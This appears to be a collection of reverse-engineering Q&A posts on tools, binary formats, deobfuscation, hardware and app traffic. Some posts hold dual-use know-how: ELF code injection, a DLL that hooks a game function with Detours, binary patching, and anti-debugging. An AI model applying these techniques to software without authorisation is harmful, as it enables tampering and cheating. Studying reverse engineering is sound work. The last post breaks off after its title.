问:
Logitech UE (Mega)Boom Broadcast Audio
I am interested to build a tool which can stream audio synchronized to multiple UE Boom speakers.

UE (Mega)Boom speakers already have the ability to build up a broadcast/multicast domain to play audio simultaneously. Logitech calls this feature "Party Up". Each speaker has two Bluetooth interfaces. One is used to communicate with the audio source (eg. your phone). The other one (most likely BLE) is used for communication between the speakers. So when I'm connected to one speaker it is possible to link other (not connected) speakers to play the audio. Synchronization happens between the first speaker (master) and the other linked speakers (slaves). So the stream from the source to the first speaker is not synchronized anymore as soon as you add speakers. To stream the music to the slave speakers, the master uses the second Bluetooth interface. I don't know what protocol they used but maybe they leverage the "multistream audio" feature in Bluetooth LE.

As initially said, I'm trying to build a tool which allows eg. a Raspberry Pi to either be part of the broadcast/multicast domain and receive the synchronized audio, or to initiate the stream and send out the synchronized stream to all the speakers.

Does anyone has any experience with these speakers? Sniffing Bluetooth packets without being part of the communication is quite hard. So my current approach would be to reverse engineer the protocol step by step:
First check what the speaker advertises. Then advertise that myself to one of the speakers and check the response. Basically capture and replay.

Also, I haven't really seen any implementations of Bluetooth LE multistream audio so far. Does anyone know a (unix) tool which is capable of using this rather new feature?

PS: I've obviously seen UE Megaboom serial protocol and Sniffing serial Bluetooth traffic on Android however they all look at the connection between the source and the first (master) speaker. I'm interested in the second connection from the master to the slaves (which I am not part of so wireshark won't help).

Title: Logitech UE (Mega)Boom Broadcast Audio


问:
Debug dll file used in python script IDA
I am fairly new to RE on windows.
I have a python script which via ctypes uses functions from a dll.

I don't know if it's possible, but I would like to debug the dll used in the python script (the dll is not executable).

I tried to attach to the python process, but it exits right after, and I also tried to start the process from IDA, but I get a python console and my breackpoint is never reached.

So how can I do it?

ContentLicense: CC BY-SA 4.0


问:
cheap BGA x-ray machine?
I want to look under a BGA chip and map JTAG pins to traces where I can attach a JTAGulator. Is there some version of a BGA x-ray that isn't thousands of $'s?

Here's a picture of the BGA's. Would it be easier to build a breakout connector to insert between this and main board?

If I desoldered them, maybe I could stick them in a socket and read them directly?

Title: cheap BGA x-ray machine?


问:
N64 Ghidra setup: missing MIPS instructions?
I have been using Ghidra, along with VoidWarranty's N64 loader to figure out analyze some unused functionality in an obscure title. however, it does  not recognize valid instructions with the default selected MIPS CPU, such as 0xdf410328 (LD AT,0x0328(K0)), 0xff410328 (SD AT,0x0328(K0)), 0xfcb00098 (SD S0,0x0098(A1)). is this an issue with ghidra's definition, or am i just using the wrong processor for the job (MIPS:BE:32:default (1.5))?


问:
How is ELF symbol resolution and relocation different from PE symbol resolution?
I've learned extensively about PE and PE64 format a while back. I am now digging deeper into ELF format. However, I've not found as many thorough resources for ELF as I did for PE, such as ARTeam's PE format compendium and other blogs. I am looking for a comparison of how dependency/symbol resolution, version symbols, and relocations are done in ELF vs. Portable Executable.</p>


问:
Using IDAPython Problem in finding string avalilable in .idata section
I am new to ida pro and idapython
In the following case i want to find the string reference "x is less than zero" while processing a block.
Tested with following script but doesn't seems to works!</p>
```<code>        b = <ida_gdl.qbasic_block_t; proxy of <Swig Object of type 'qbasic_block_t *' at 0x0000026C1A40F6C0> >  #Basic block object
        for head in Heads(b.start_ea, b.end_ea):
            print (DataRefsFrom(head))

</code>```
```<code>.text:0000000000401599                 add     rax, 3
.text:000000000040159D                 shr     rax, 2
.text:00000000004015A1                 shl     rax, 2
.text:00000000004015A5                 mov     [rbp-40h+var_20], rax
.text:00000000004015A9                 cmp     [rbp-40h+arg_0], 0
.text:00000000004015AD                 jns     short loc_4015BB
|------------------------------------------------------------------------------------------------|
|.text:00000000004015AF                 lea     rcx, Format     ; "x is less than zero"          |
|------------------------------------------------------------------------------------------------|
.text:00000000004015B6                 call    printf
.text:00000000004015BB
.text:00000000004015BB loc_4015BB:                             ; CODE XREF: allocatebuffer(int)+7D↑j
.text:00000000004015BB                 mov     eax, 1
.text:00000000004015C0                 mov     rsp, rbx
.text:00000000004015C3                 lea     rsp, [rbp-48h]
.text:00000000004015C7                 pop     rbx
.text:00000000004015C8                 pop     rbp
.text:00000000004015C9                 retn
</code>```


问:
Statically injecting translated NASM assembly into existing ELF binary
I'm trying to statically patching ELF binaries in order to incorporate code that can help provide run-time protection.

In an effort to save time writing and debugging assembly, I took the following no-deps C code that does a simple LD_PRELOAD detection and compiled it as follows:

```<code>int main(int argc, char *argv[], char **environ)
{
    int i, j;
    char env[] = "LD_PRELOAD";
    for(i = 0; environ[i]; i++)
    {
        for(j = 0; env[j] != '\0' && environ[i][j] != '\0'; j++)
            if(env[j] != environ[i][j])
                break;

        if(env[j] == '\0')
        {
            return 1;
        }
    }
    return 0;
}
</code>```
```<code># compile to object file
$ gcc -fno-asynchronous-unwind-tables -fno-stack-protector -s -c -o detect.o detect.c
</code>```

With the object file, I then translate to NASM, cleanup and patch:

```<code># translate to NASM with objconv
$ objconv -fnasm detect.o

# ... clean up nasm file
# compile as flat binary
$ nasm -f bin detect.asm

# ...inject using PT_NOTE technique and patching entry point
</code>```

The cleaned-up assembly:

```<code>BITS 64

SECTION .text
global main

main:
        push    rbp                                     ; 0000 _ 55
        mov     rbp, rsp                                ; 0001 _ 48: 89. E5
        mov     dword [rbp-24H], edi                    ; 0004 _ 89. 7D, DC
        mov     qword [rbp-30H], rsi                    ; 0007 _ 48: 89. 75, D0
        mov     qword [rbp-38H], rdx                    ; 000B _ 48: 89. 55, C8
        mov     rax, qword 4F4C4552505F444CH            ; 000F _ 48: B8, 4F4C4552505F444C
        mov     qword [rbp-13H], rax                    ; 0019 _ 48: 89. 45, ED
; Note: Length-changing prefix causes delay on Intel processors
        mov     word [rbp-0BH], 17473                   ; 001D _ 66: C7. 45, F5, 4441
        mov     byte [rbp-9H], 0                        ; 0023 _ C6. 45, F7, 00
        mov     dword [rbp-4H], 0                       ; 0027 _ C7. 45, FC, 00000000
        jmp     ?_007                                   ; 002E _ E9, 0000008D

?_001:  mov     dword [rbp-8H], 0                       ; 0033 _ C7. 45, F8, 00000000
        jmp     ?_003                                   ; 003A _ EB, 34

?_002:  mov     eax, dword [rbp-8H]                     ; 003C _ 8B. 45, F8
        cdqe                                            ; 003F _ 48: 98
        movzx   edx, byte [rbp+rax-13H]                 ; 0041 _ 0F B6. 54 05, ED
        mov     eax, dword [rbp-4H]                     ; 0046 _ 8B. 45, FC
        cdqe                                            ; 0049 _ 48: 98
        lea     rcx, [rax*8]                            ; 004B _ 48: 8D. 0C C5, 00000000
        mov     rax, qword [rbp-38H]                    ; 0053 _ 48: 8B. 45, C8
        add     rax, rcx                                ; 0057 _ 48: 01. C8
        mov     rcx, qword [rax]                        ; 005A _ 48: 8B. 08
        mov     eax, dword [rbp-8H]                     ; 005D _ 8B. 45, F8
        cdqe                                            ; 0060 _ 48: 98
        add     rax, rcx                                ; 0062 _ 48: 01. C8
        movzx   eax, byte [rax]                         ; 0065 _ 0F B6. 00
        cmp     dl, al                                  ; 0068 _ 38. C2
        jnz     ?_004                                   ; 006A _ 75, 3A
        add     dword [rbp-8H], 1                       ; 006C _ 83. 45, F8, 01
?_003:  mov     eax, dword [rbp-8H]                     ; 0070 _ 8B. 45, F8
        cdqe                                            ; 0073 _ 48: 98
        movzx   eax, byte [rbp+rax-13H]                 ; 0075 _ 0F B6. 44 05, ED
        test    al, al                                  ; 007A _ 84. C0
        jz      ?_005                                   ; 007C _ 74, 29
        mov     eax, dword [rbp-4H]                     ; 007E _ 8B. 45, FC
        cdqe                                            ; 0081 _ 48: 98
        lea     rdx, [rax*8]                            ; 0083 _ 48: 8D. 14 C5, 00000000
        mov     rax, qword [rbp-38H]                    ; 008B _ 48: 8B. 45, C8
        add     rax, rdx                                ; 008F _ 48: 01. D0
        mov     rdx, qword [rax]                        ; 0092 _ 48: 8B. 10
        mov     eax, dword [rbp-8H]                     ; 0095 _ 8B. 45, F8
        cdqe                                            ; 0098 _ 48: 98
        add     rax, rdx                                ; 009A _ 48: 01. D0
        movzx   eax, byte [rax]                         ; 009D _ 0F B6. 00
        test    al, al                                  ; 00A0 _ 84. C0
        jnz     ?_002                                   ; 00A2 _ 75, 98
        jmp     ?_005                                   ; 00A4 _ EB, 01

?_004:  nop                                             ; 00A6 _ 90
?_005:  mov     eax, dword [rbp-8H]                     ; 00A7 _ 8B. 45, F8
        cdqe                                            ; 00AA _ 48: 98
        movzx   eax, byte [rbp+rax-13H]                 ; 00AC _ 0F B6. 44 05, ED
        test    al, al                                  ; 00B1 _ 84. C0
        jnz     ?_006                                   ; 00B3 _ 75, 07
        mov     eax, 1                                  ; 00B5 _ B8, 00000001
        jmp     ?_008                                   ; 00BA _ EB, 29

?_006:  add     dword [rbp-4H], 1                       ; 00BC _ 83. 45, FC, 01
?_007:  mov     eax, dword [rbp-4H]                     ; 00C0 _ 8B. 45, FC
        cdqe                                            ; 00C3 _ 48: 98
        lea     rdx, [rax*8]                            ; 00C5 _ 48: 8D. 14 C5, 00000000
        mov     rax, qword [rbp-38H]                    ; 00CD _ 48: 8B. 45, C8
        add     rax, rdx                                ; 00D1 _ 48: 01. D0
        mov     rax, qword [rax]                        ; 00D4 _ 48: 8B. 00
        test    rax, rax                                ; 00D7 _ 48: 85. C0
        jne     ?_001                                   ; 00DA _ 0F 85, FFFFFF53
        mov     eax, 0                                  ; 00E0 _ B8, 00000000
?_008:  pop     rbp                                     ; 00E5 _ 5D
        push    <ENTRY_POINT_ADDR>
        ret
</code>```

This process is all fine and good, but once actually running the patched executable, the binary falls short and segfaults at this instruction:

```<code> →   0x80022d                  movzx  eax, BYTE PTR [rax]
</code>```

I have also tried compiling with varying optimization levels, and directly using ld instead of NASM to create a flat binary, as mentioned here, but these all still result in segfaults. Compiling and running the cleaned-up assembly as an elf64 works fine, so I must be missing something. Any ideas on how to fix this?


问:
Access to variable never stored to
I'm disassembling a Microsoft dll in IDA Pro, and there's one point where a value is loaded to a register from a location that has never been written to (it's the first location on the variables stack):

```<code>mov     rsi, [rbp+0]
</code>```

When debugging I can see that the location is cleared (zero), but how can this be assumed?

Here's the entry point:

```<code>char __fastcall untfs_NTFS_SA::CreateElementaryStructures(NTFS_SA *this, struct NTFS_BITMAP *bmp_1, unsigned int sectors_per_cluster, unsigned int bytes_per_record_1, unsigned int sector_size_param, unsigned int a6_always_0, const struct NUMBER_SET *number_set, char NoUpgrade, unsigned __int8 ShortNames, char TxF, unsigned __int8 always_0?, char DAX, unsigned int HeatGatheringDisableFlag, struct MESSAGE *a14, struct BIOS_PARAMETER_BLOCK *a15, const struct WSTRING *a16, unsigned __int8 RepairLogs)
 push    rbp
 push    rbx
 push    rsi
 push    rdi
 push    r12
 push    r13
 push    r14
 push    r15
 lea     rbp, [rsp-1DC8h]
 mov     eax, 1EC8h
 call    _alloca_probe
 sub     rsp, rax
 mov     rax, cs:__security_cookie
 xor     rax, rsp
 mov     [rbp+1E00h+var_50], rax
 mov     eax, dword ptr [rbp+1E00h+a6_always_0]
</code>```

Title: Access to variable never stored to


问:
Looking at a PCB is it possible to ascertain the number of layers it has?
Is there a way to ascertain - without special equipment (other than what a "layman electronics enthusiast" may have around) - how many layers a PCB has?

Is there some sort of marking or a technique to deduce it?

Only other requirement: it should not damage the PCB.

This question is loosely related to that one, but hardly a duplicate.


问:
What are these pads called, what can I solder to them and could I do any damage?
I am wondering what this is called (those are 1 and 2 cm marks, divided into 1 mm segments):

I'm fairly certain it's not JST. I think the two larger pads are used to hold whatever connector is soldered to the ten smaller ones. Similar to a USB-A female jack. Pin header could be, but the two larger pads make less sense then. Maybe a 9-pin D-Sub could go there (the RX/TX can also be accessed from the reverse at about the same location), but then there is one soldering pad too much. I've looked for a number of SMD components which may be a match, but came up empty-handed.

Sometimes when looking at an item I lack the correct terminology. This is such a case. What is this called? What sort of connector can I solder on and is there any chance (as long as I get the soldering right) that merely soldering something to it will damage it, i.e. without connecting/shorting anything? ...

The location where the ruler is, also happens to be the edge of the board. The PCB is out of an automative entertainment system. It was built in 2014 or 2015, but designed probably around 4-5 years before, by all accounts I could find. And to my knowledge its design is actually based on even earlier designs. This side of the PCB is labeled "TOP" somewhere at the edge.

The pads in question are on the edge shown at the bottom of the photo. This photo shows the top-side of the PCB. You can see there are two locations with this configuration of soldering pads. The photo at the top is from the right one.

The board is a SMEG+ from Magneti Marelli as built into PSA cars.


问:
Is there a technique that would allow me to make an OPEN SOURCE driver legally in Europe
The driver provided by the phone manufacturer doesn't expose both of my front cameras to third party apps and doesn't allow any third party app to record 4K video, so I think that interoperability is an acceptable reason to do so. But it is said that one is not allowed to publish the source code, then.

Does a reverse engineering technique exist, that would allow me to make an OPEN SOURCE driver for built-in phone cameras legally in Europe?


问:
What kind of integer obfuscation is this?
I'm looking at the network traffic of a game submitting the user's score to the high-score server. The score value seems to be obfuscated in some way.

The score is a non-negative integer, and not more than half a billion in practice. Here are some scores and their encoded forms:

```<code>   0 : 4c
 100 : 4d 71 06
 110 : 4d 7f c6
 210 : 4f bf c6
 281 : 4f ba 8d b3 ba 94 4d da 9d
 551 : 69 78 cd b3 bf ee 69 79 1c
 878 : 66 be 8b b3 b1 14 69 d4 f6
 990 : 65 74 06 b3 b2 4b 69 d1 2e
1016 : 4d 71 0d 68 22 f0 4e be b6 68
1021 : 4d 71 1c 4f 72 dd 6b b2 46 68
1208 : 4d 70 06 64 a2 cb 66 b2 4d 68
1361 : 4d 74 f6 4f 72 e2 6b b0 14
1362 : 4d 74 f6 4c 22 cd 4f b8 dc 4c
1543 : 4d 78 ee 4d c2 dd 66 b1 06 68
1673 : 4d 79 30 4d c2 c6 4e b2 6e 4e
1913 : 4d 74 0d 4d c2 d4 69 70 0d 4d d1 06 4e b1 06 4e b1 1d
2151 : 4f bf d4 4f 72 dc 4f ba 9d 6a
2816 : 4f ba 8d 68 22 dc 4d 71 30 4d 71 06 4e b1 06 4e b1 1d
3540 : 4d d8 ee 4c a2 dc 4d 7f dc 6a
3819 : 4d da 8d 67 72 c6 66 b4 1d 6a
3881 : 4d da 8b 4f 72 cd 4e b0 06 69 71 06 4e b1 06 4e b1 2e
3955 : 4d d4 14 6b 72 dd 6b b2 46 6a b4 22 65 74 22 65 74
4095 : 6a b1 22 6b 72 dc 6b b4 cd 4c
4205 : 6a b0 06 6b 72 d4 69 d8 dc 64
4274 : 6a b0 30 68 a2 dc 4d d1 06 4e
4444 : 6a b2 6e 68 a2 dc 4e be a2 68
4602 : 6a b9 06 4c 22 c6 69 71 30 68
</code>```

I am certain that there is only one input variable to this encoding; the same input always gives the same output across changes of all possibly relevant variables.

This encoding is invertible; sending the encoded string to the server gets a response of the decoded score (if the decoded score is higher than the last one you submitted). Corollarily, we have an oracle.

What I'm having a hard time with is that the output length is variable in a non-monotonic way and is somewhat longer than the input.

For most particular score values, it is difficult to play in such a way to earn that score precisely, but  if more pairs are needed to disambiguate, I can earn scores in an approximate range. (Otherwise I would surely have tried to earn the scores 1, 2, 3, etc.)


问:
otool , nm, dsdump and jtool not able to list mach-o binary's symbols
I have encountered this twice recently where I am trying to list the external symbols for an iOS mach-o binary and none of the tools can provide any output.  The following is an example of the output from jtool:

```<code>jtool -S BinaryName -arch arm64
             U
             U
             U
             U
             U
             U
             U
             U
</code>```

This particular binary was a fat binary hence having to pass it the arch but I also tried thinning it and running the command on just the arm64.  The previous binary I had encountered this was not a fat binary though. Unfortunately I can't actually share either of the binaries, which I appreciate makes it harder to answer, as they are from a client.

I thought I had a reasonable understanding of the mach-o format although very inexperienced reversing.

I don't know if this is a trick I'm not aware of, how are these symbols resolved at runtime if they can't be parsed by any of these tools?  Is there a way to "undo" this and list the symbols normally without running the binary?


问:
Deobfuscating Unknown C# obfuscator?
Hello,

I am having an exe file that I am trying to deobfuscate and debug using dnspy. The exe file was written in C# and obfuscated with unknown deobfuscate according to de4dot! I tried to all my known methods to procced but still I was not able to fully deobfusticated it.

Analysing the File

- Exeinfo PE

I tried to analysie the file with exeinfope to check which obfustactor was used but I only got [obfus/crypted].

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 [ Obfus/Crypted- StrongName set ]  - EP Token : 06000080 ,
Overlay : 403900... Nothing discovered

- Dnspy

Opening the file in dnspy but the code wasn't readable, especially the methods and the functions name are in unicode form.

My Attempts:

Tried to deobfustace the file with de4dot, but I get "Detected Unknown Obfuscator" followed by an error.

Tried a modded version of de4dot, and I was able to deobfustacte the exe,but all functions shown as "delegate". The exe file was detected as "Unkown Obfustactor" as well, but managed to cleaned it.

Tried to debug the cleaned verison but when I start dnspy I get an exception (System.NullReferenceException)

My Questions:

Which obfustactor was used ?

Why all functions are defined as "delgate"?

Why did I get the null exception while debugging

Thanks...

UPDATE 20/08/2020

While looking through the code, I found that all "delegate" calls are referred to a function which takes an intger but I couldn't find any obvious return from this function, what I do think it returns the function and method name but... HOW!!

Title: Deobfuscating Unknown C# obfuscator?


问:
Trying to edit the source code of AOC monitor
So long story short the AOC monitor comes with a G-Menu gui that lets you customize different monitor features. One specific one I am interested in is the "Dial Point" setting. Where it overlays a red circle cross hair over the middle of the screen. I am trying to figure out how to reverse engineer through the code to find the img or code variables for the Dial Point cross hair so I can remove this obtrusive red circle they put over it. Ive tried opening the .dll files in visual studio then I tried dotPeek to see if I could use that I feel like im getting closer to a solution but as of right now im kinda worried im going in circles and dont want to waste too much time on this. Ive never really reverse engineered the code of a monitor so I dont really know where to start. Im a CS student so I know how to code a fair bit at this point but if I cant find the source code of what im looking for then I cant edit it. Any help is appreciated.</p>


问:
Crash after hook a function
I have hooked a sound function that work within the game menu after, when the battle start, the game will crash.

The function at the first parameter get correctly the sound file name, before the battle begin.

If the function 'HookSum' is empty the game work without any crash.

The line:

```<code>//
std::cout << "your program has been hacked! " << std::endl;
//
</code>```

don't cause the crash, but If I insert any other line of code for example:

```<code>//
std::string StrFileName;
StrFileName = "test";
//
</code>```

the game crash. So at this point I can't hook nothing, becouse I can't insert any code inside the hooked function.

Someone can please explain why the game crash ?

Follow the full code.

```<code>#include <Windows.h>
#include <iostream>

#include "detours.h"
#include "sigscan.h"

DWORD AddressOfSum = 0;

typedef void(*sum) (char *a1, int a2, int a3, int a4);

void HookSum(char *a1, int a2, int a3, int a4)
{

    std::cout << "your program has been hacked! " << std::endl;

    std::string StrFileName;
    StrFileName = "test";

    sum originalSum = (sum)AddressOfSum;
    return originalSum(a1,a2,a3,a4);

    // MessageBoxA(0, a1, "MsgTitle", MB_OK | MB_ICONQUESTION);

    // return;
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
    // store the address of sum() in testprogram.exe here.

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        // We will use signature scanning to find the function that we want to hook
        // we will find the function in IDA pro and create a signature from it:

        SigScan Scanner;

        AddressOfSum = Scanner.FindPattern("bzone.exe", "\x55\x8B\xEC\x51\x83\x3D\x94\x55\x91", "xxxxxxxxx"); // BattleZoneRedux 43AA30

        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());

        // this will hook the function
        DetourAttach(&(LPVOID&)AddressOfSum, &HookSum);

        DetourTransactionCommit();
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        // unhook
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());

        // this will hook the function
        DetourDetach(&(LPVOID&)AddressOfSum, &HookSum);

        DetourTransactionCommit();
    }
    return TRUE;
}
</code>```

Title: Crash after hook a function


问:
Ghidra is mishandling a field access
I have a program which decompiles in Ghidra to include the line

```<code>temp_5f2f2f81bc = *(CPedIntelligence **)(&DAT_000010c0 + (longlong)pCVar2);
</code>```

temp_5f2f2f81bc is a CPedIntelligence*. pCVar2 is a CPed*, and CPed has a CPedIntelligence* located at offset 0x10c0. So this should decompile as temp_5f2f2f81bc = pCVar2->intelligence;. Is there a way to tell Ghidra "no, pCVar2 should not be cast to longlong?"

I've noticed this occurring other times as well, and it generally seems to be associated with a structure stored in a register (here, pCVar2 is stored in R13). In the function's local variables, though, pCVar2 is listed as being stored in HASH:5f32eb8... The register is never used in the function except as the storage for this CPed*, so if I could forcibly tell the decompiler "this register has this type throughout the entire function" then that'd help. I tried using scripting to create a local variable stored in R13, but the decompiler didn't pick up on it.

Title: Ghidra is mishandling a field access


问:
Checking if a call is a API/Library call in IDApython?
I asked the question a while ago but found no answer so I'm trying my luck again

the only solution is this :

Finding all API calls in a function

but it doesn't work when the library call is a .NET library call, and it seems like it doesn't include calling to recognized staticley linked library calls that were recognized by flirt

basically i just want to check if a call instruction is a API/Library call or just a local function call

I already tried to use the GetOpType function but didnt work, both of the "local" calls and library calls will return 10 :

```<code>void [mscorlib]System.Threading.Thread::Sleep(int32)
10

unsigned int8[] Loader.Nyan::AES_Decrypt(unsigned int8[] bytesToBeDecrypted)
10 (LOCAL function)
</code>```

Currently I'm using regex as a dirty workaround to find library calls only if there is a [*] in the operand but there has to be a better way..

as another work around I'm checking to see if the last byte of call is 0x0A or not, based on experience all the library calls have this byte at the end, not sure if its gonna work for all the calls or not


问:
capture traffic of an android app
I was trying to test and intercept traffic from an app developed on Rhodes open source framework, I setup a proxy with burp, and of course I have installed burp certificate on my device hence I can intercept other apps on my device but I am unable to see the traffic of the app in question - its link on burp suite instead the app works fine and connects to the remote server without even appearing any error related to certificate on the event Log of the burp suite. in reversing the app I concluded that it is using https protocol to connect to the server(would be happy to confirm it app link here). in my testing when I have installed the app in a Genymotion Emulator and burp suite set up to intercept traffic, can only see traffic going to local host address; forexample:

```<code>http://127.0.0.1:44895

POST /app/Settings/do_pathlogin HTTP/1.1
Host: 127.0.0.1:44895
Content-Length: 65
Accept: */*
Origin: http://127.0.0.1:44895
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; Samsung Galaxy S6 Build/OPR6.170623.017; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.125 Mobile Safari/537.36
Transition-Enabled: true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1:44895/app/Settings/index_callback
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close

fromPage=login&operation_key=HOME_REP&username=user&password=pass

</code>```

I don't have any idea why this behaviour the app is showing, in the real device this won't show up, i.e, traffic to the address 127.0.0.1.
As other researchers would recommend, tried to sniff network traffic of the app with wireshark  and activated the capture traffic of the wireshark, I was expecting to sniff or even decide whether app is using UDP protocols, but did not appear any traffic from the app!.

I wanted some help how can I capture the traffic of this app?

what am I missing?

what other steps do I need?

I would really happy to help me about this.

You can get the app in question here

Title: capture traffic of an android app


问:
How are strokes stored in the Goodnotes file format?
I have been trying to reverse engineer the .goodnotes file format (a note taking app for iOS devices) and so far have discovered this:

A .goodnotes file is simply a zip archive, an example file extracted has the following hierarchy:

```<code>attachments/
    1AF85389-413A-4C21-8EF5-C0603033CBF8
index.attachments.pb
index.events.pb
index.notes.pb
index.search.pb
notes/
    30F8BBBA-710B-4BEC-A90B-49DFCEF05035
search/
    1AF85389-413A-4C21-8EF5-C0603033CBF8
thumbnail.jpg
</code>```

It is likely the strokes are stored within the notes/ directory and separated by page (if an empty page is added the corresponding notes file is zero bytes)

The files named by ID could be binary protobuf files, though I'm not sure and all efforts to reverse engineer the protobuf schema has failed


问:
What's the reason for a program to crash every time a breakpoint is set in x64dbg?
I know this question may be an ambiguous one and so may not be straightforward, so I apologize for that. Nevertheless, I believe that anti-debugging is responsible for the constant crashing of the program whenever the breakpoint is hit but I am not sure.

I have tried to use other debugging tools but still the same trouble I am getting. So I believe whatever is going on is specific to the way the program is working. So any ideas as to what is responsible for this and how do I go around it


问:
C166/C167 code analyzing
Recently I try to reverse piece of assembly code that written for C166/C167 Arch.
But I have a problem with some places for convert to C code, such as:

```<code>loc_1892:
mov     r9, #4
add     r9, r0
mov     r12, #0FFFFh
mov     r4, r9
add     r4, #2
calls   0, sub_37C2
mov     r13, r4
mov     r14, r5
mov     r15, #6
calls   0, CRC_16_Calculate
</code>```

and in sub_37C2 :

```<code>sub_37C2:
mov     r5, r4
shr     r5, #14
shl     r5, #1
mov     r5, [r5+0FE00h] ; ==> Or DPP0
bmov    r4.14, r5.0
bmov    r4.15, r5.1
shr     r5, #2
rets
</code>```

also in CRC_16_Calculate:

```<code>loc_29A4:
mov     r4, r13
mov     r5, r14
add     r13, #1
addc    r14, #0
exts    r5, #1
movb    rl3, [r4]
movbz   r7, rl3
</code>```

I guess in sub_37C2 code try to convert the near address to far. But I can't convert this to C code correctly.
My CRC16 implementation shown below:

```<code>static uint16_t Crc16(uint8_t* cBuffer, uint16_t iBufLen, uint16_t wPreset)
{
    uint16_t temp;
    while (iBufLen--)
    {
        temp = *cBuffer++;
        for (uint8_t j = 0; j < 8; ++j)
        {
            if ((wPreset ^ temp) & 0x01) wPreset = (wPreset >> 1) ^ 0xA001;
            else wPreset >>= 1;
            temp >>= 1;
        }
    }
    return wPreset;
}
</code>```

As you see, I convert loc_29A4 to temp = *cBuffer++ where temp is uint16 but cBuffer is uint8_t

Title: C166/C167 code analyzing


问:
Watching a TLS Slot value in x64dbg
I am new to reverse engineering and I was trying to debug why a 3rd party application was crashing when I m injecting my DLL in it. (There are some cases where it didn't crash)

So I was able to figure out from a set of instructions/subroutine where the application was throwing an error. There is was able to figure out that it was probably getting a null pointer for some TLS value.

Here is my question w.r.t to this problem
I want to break/notify my debugger whenever a value is getting changed at that given TLS slot.

I'll add the ASM to make better sense, This is the disassembly of kernel32!TlsGetValue. I want to watch the TLS slots for the given thread. To put it in simple words I want to add watcher for GS:[0x1480]

Does anyone have any idea how to do it x64dbg?

Title: Watching a TLS Slot value in x64dbg


问:
Emulator that emulates arm hardware
I want to hook arm instructions as they executes but most of the emulators are based on VirtualBox that uses houdini to translate arm instructions to x86, and i really can't hook a native JNI lib, moreover I'm doing a instruction trace please suggest a emulator that does it.</p>

Title: Emulator that emulates arm hardware


问:
How does Andriod .so files Reverse Engineering with a dissasembler like IDA pro and Cutter work
So few days ago going through youtube Reverse Engineering videos, i came across a particular video where an android application was modified using IDA pro by disassembling it's .so file found in /lib directory in every android app.

This is the link to the video
https://m.youtube.com/watch?v=m-t-jFBy7FE

I was further curious as i have never seen anyone modify an android App from the .so file usually when we talk of reversing android apps we use tools like Apktool, Dex2jar, jd-gui and so on.

What kind of Reverse Engineering is this and what exactly is going on???

Someone please shed some light on this topic. i've been confused for days.


问:
je change to jne and program issue
I am new to forum and new to programming (total noob).

I am trying to modify a program using ollydbg and x32dbg and while attached to file I make the changes fine and it does what I expected.

My problem is saving the changes to file or patching in x32dbg does not work.
The second I make changes and save/patch I then rename original and move patched version into place and try to run the problems start.

First Windows 10 stops the file from running and at same time my malware and virus protection quarantines the file.
I know ollydgb and x32dbg are safe as I have used them before and my system is clean.

So is it because I did not disassemble the program first?
Or could the program have some sort of code that detected the changes made and then kills the program?

Thanks
Gren

Title: je change to jne and program issue


问:
What's the way to find a function on a unity game and how I call it after I find?
I'm a newbye, so sorry for the basic questions, before anyone downvote the question.

I'm Learning reverse engineering, I've already learned assembly for mips on the computer science underdegree and I know the basic about computer architeture.

I'm trying to make a macro bot for doing simple tasks on a unity game called pokemon trading card game online. It seens it ways built on unity 2018.4.11.

I know I have to find the functions that call what I want, but don't know how to do it and what to do after this. The tutorials are very confusing on this area.

So being objective, can anyone help me what I have to search and what I have to do with what I found, like, if I'm trying to find the function that calls the button to start a play, how can I call it after I found it?

Thank you very much?


问:
Ways of creating a new thread on Windows
I'd like to know about every possible way how a thread can be created in a process at the lowest possible level.

There are loads of WinAPI-s to create a thread, but as far as I know all of them ends in either NtCreateThread or NtCreateThreadEx. For eg if I put a breakpoint on these two and I suppose they aren't removed and the target is not using direct syscalls, can I assume that I can SAFELY catch EVERY single try of creating a new thread from that process? I know, debuggers have a feature of breaking on new threads, but this time I'd like to catch the moment before the creation.

I also know about that one can call any form of CreateRemoteThread externally, but is there any reasons why a clean OS would do so?

So, for example if I suspend all the threads of a process, is there anything that would "legally" start a thread in the process, which could theoretically find out that I'm messing with the process? For example if something would start an internal ntdll function, or a timed callback which starts a new thread (I don't know if it's possible, just brainstorming) - if it was hooked, a malware could actually redirect code execution to its own code which may detect things.

I don't care about any software like an anti-virus or apparently any external malware trying to run its own code, I'm curious if the OS would do so in any situation or by forcing it?

I know that various cases may happen, my target malware may write into external processes which may be able to resume the original process or create a new thread in it, or even more advanced things, but I'd like to gradually check for possibilities and also improve my knowledge on Nt internals :)


问:
Compare ELF files using Ghidra+Bindiff based on dwarf debug info
So this is a question not strictly about reverse engineering, but since there are many people using Ghidra and Bindiff here I'll try asking anyway.

I have an embedded ARM cortex-M C++ project and I want to compare the generated ELF file for two different compilers.

I used these instructions for exported data from Ghidra to Bindiff: https://reverseengineering.stackexchange.com/a/24636/34300

I built the ELF files with debuginfo. I was hoping that Ghidra and Bindiff would use the debuginfo for identifying functions, but it looks like that's not the case. For roughly 100 out of 700 functions the tools were not able to match the old and new functions.

I did some experiments on my own where I wrote some simple implementations for strcat and strcpy and then switched names, but then Ghidra and Bindiff was able to see that the assembly has changed, i.e. it did not just try to match functions based on the content. So it's not the case that Ghidra + Bindiff always ignores the function names.

Is what I'm seeing the expected behavior? That Bindiff does uses its own heuristics rather than trusting the debuginfo when finding functions for comparisons?

If so: Is there a way to force Ghidra and Bindiff to trust the dwarf information when finding functions?

Update: The Bindiff manual lists a number of algorithms that are used for function matching. There is a configuration files .bindiff/bindiff.xml where you can modify the confidence levels between 0.0 and 1.0.
It looks like name hash matching is what I want and that I probably want to lower confidence in the other algorithms.

Though I guess just looking at each function in isolation is kind of naive given that compilers can change their inline choices between releases:


问:
Decypher hw key generation process
